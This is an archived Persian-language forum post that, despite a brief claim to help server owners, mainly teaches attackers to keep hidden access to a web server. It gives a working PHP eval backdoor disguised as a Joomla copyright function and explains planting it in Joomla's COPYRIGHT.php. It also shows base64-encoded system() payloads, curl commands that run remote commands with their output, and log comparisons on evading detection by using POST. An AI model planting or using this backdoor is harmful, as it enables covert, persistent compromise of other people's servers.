PDA

نسخه کامل مشاهده نسخه کامل : هکر ها چگونه از دید صاحب سرور در امان میمانند



askask
01-09-2013, 08:44
این مطلب رو واسه کسانی که سرور دارن نوشتم تا بخونن و اماده تر بشن در مقابل نفوذ ...

کد های مخرب هر چند کوچک میتوانند بسیار خطرناک تر از آنچه باشند که ما تصور میکنیم ! ما هر روز در انجام وظایف روزانه با انها خواسته یا ناخواسته روبرو میشویم , بسیاری از انها مبتنی بر وب هستند که بر اندازه و تاثیر تخریب متفاوت عمل میکنند شناسایی برخی از آنها بسیار آسان بوده و به راحتی رد گیری میشوند اما امروز میخواهیم بر تکنیکی تمرکز کنیم که به راحتی قابل رد گیری نباشد تا اجازه نگاه داشتن دسترسی خود به مدت طولانی از سرور های خاص خودمون داشته باشیم.

در این بحث وارد بحث بکدور یا همون در پشتی خواهیم شد در ابتدا باید بدونیم که بکدور یا در پشتی چه کاری انجام میده …
بکدور ها ابزار یا برنامه هایی هستند که نفوذگر ها برای حفظ دسترسی بر روی سیستم های کلاینت , سرور ها و یا داخل سایت ها استفاده میکنند.
حالا توجه شما رو به کد زیر جلب میکنم:
<? php
Copyright_joomla();
function Copyright_joomla(){
static $gnu = true;
if(!$gnu) return;
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
$gpl=implode(”, $_REQUEST['gnu']);
eval ($gpl( $_REQUEST['c_id']));
$gnu=false;
}
میتونیم از این کد که توضیح خواهم داد به چه شکله و چیکار میکنه یک بکدور بسازیم.
اما ابتدا باید دنبال یکی از فایل های خود پرتال باشیم تا کدمون رو توش جا بدیم
گام اول فریب
میتوتین در جوملا 1.5 از فایل COPYRIGHT.php استفاده کنیم برای رسیدن به اهدافمون اما این فایل چیست و محتویاتش چیه؟!
/**
* @version $Id: COPYRIGHT.php 14401 2010-01-26 14:10:00Z louis $
* @package Joomla
* @copyright Copyright (C) 2005 – 2010 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
*/
defined(‘_JEXEC’) or die(‘Restricted access’);
Joomla! derives from copyrighted works licensed under the GNU General
Public License. This version has been modified pursuant to the
GNU General Public License as of September 15, 2005, and as distributed,
it includes or is derivative of works licensed under the GNU General
Public License or other free or open source software licenses. Please
see the CREDITS.php for a non-exhaustive list of contributors and
copyright holders. A full text version of the GNU GPL version 2 can be
found in the LICENSE.php file. A full text version of the other licenses
that Joomla! is derivative of or includes can be found in LICENSES.php.
چطوری میتونیم ازش استفاده کنیم برمیگردیم به کد خودمون:
Copyright_joomla();
function Copyright_joomla(){
static $gnu = true;
if(!$gnu) return;
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
$gpl=implode(”,$_REQUEST['gnu']);
eval ($gpl($_REQUEST['c_id']));
$gnu=false;
}
اگه شما یکphp کار باشید مطمئنا میتونید سورس رو بخونید و متوجه بشید
بله دقیقا این همون تابعی است که باهاش کار خواهیم کرد :
eval ($gpl($_REQUEST['c_id']));
ارزیابی و اجرای کد با فانکشن Eval
خوب این کد دقیقا کد مخرب ماست که به نفوذگر اجازه اجرای کد رو از راه دور و به آسانی میده
تو خط
eval ($gpl($_REQUEST['c_id']));
سناریوی کامل برای تزریق کد ها اماده شده برای استفاده میشه به این ترتیب عمل کرد
eval (system(CMD));
از فانکشن system برای گرفتن خط فرمان



eval (passthru(CMD));
و همینطور از فانکشن passthru در صورتی که بسته نباشن.

با یک مثال کد خطرناک اونو نشون میدم:

------------------------------------------------------
root@core:~$ echo "system('uname -a; id');"|base 64
------------------------------------------------------ خروجیش میشه

------------------------------------------------------
c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK
------------------------------------------------------ و اجرای دستورات از راه دور :

------------------------------------------------------
root@core:~$ curl -s -d "gnu[]=------_decode&c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK" "[ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]"
Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 20:30:40 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
------------------------------------------------------ یا میتونید بدون کد کردن دستورتون اجراش کنید

------------------------------------------------------
rodrigo@core:~$ curl -s -d "gnu[]=system&c_id=uname -a;id" "[ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]"
Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 20:30:40 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
------------------------------------------------------ حالا میرسیم به جایی که مهم ترین نکته این بحث توش نهفته شده
میریم سراغ مانیتورینگ
اگر با این روش عمل کنیم محتوای لاگ های ایجاد شده روی سرور به این صورت خواهد بود :

ajaxtm.org - - [31/Jul/2013:00:00:21 -0700] "POST /COPYRIGHT.php [ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]" 200 378 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3" شاید با خودتون بگین که میتونیستیم با $_GET به راحتی این کار رو انجام بدیم ولی با این تفاوت که به راحتی مورد شناسایی میشدین لاگ های بر روی سرور به این صورت دیده میشه

ajaxtm.org - - [31/Jul/2013:00:00:08 -0700] "POST /COPYRIGHT.php?c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTs K [ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]" 200 368 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3" شخصه مانیتورکننده با اولین نگاه میتونه بفمه که یه خبر هایی در حال وقوعه .
منبع :
[ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]

موفق باشید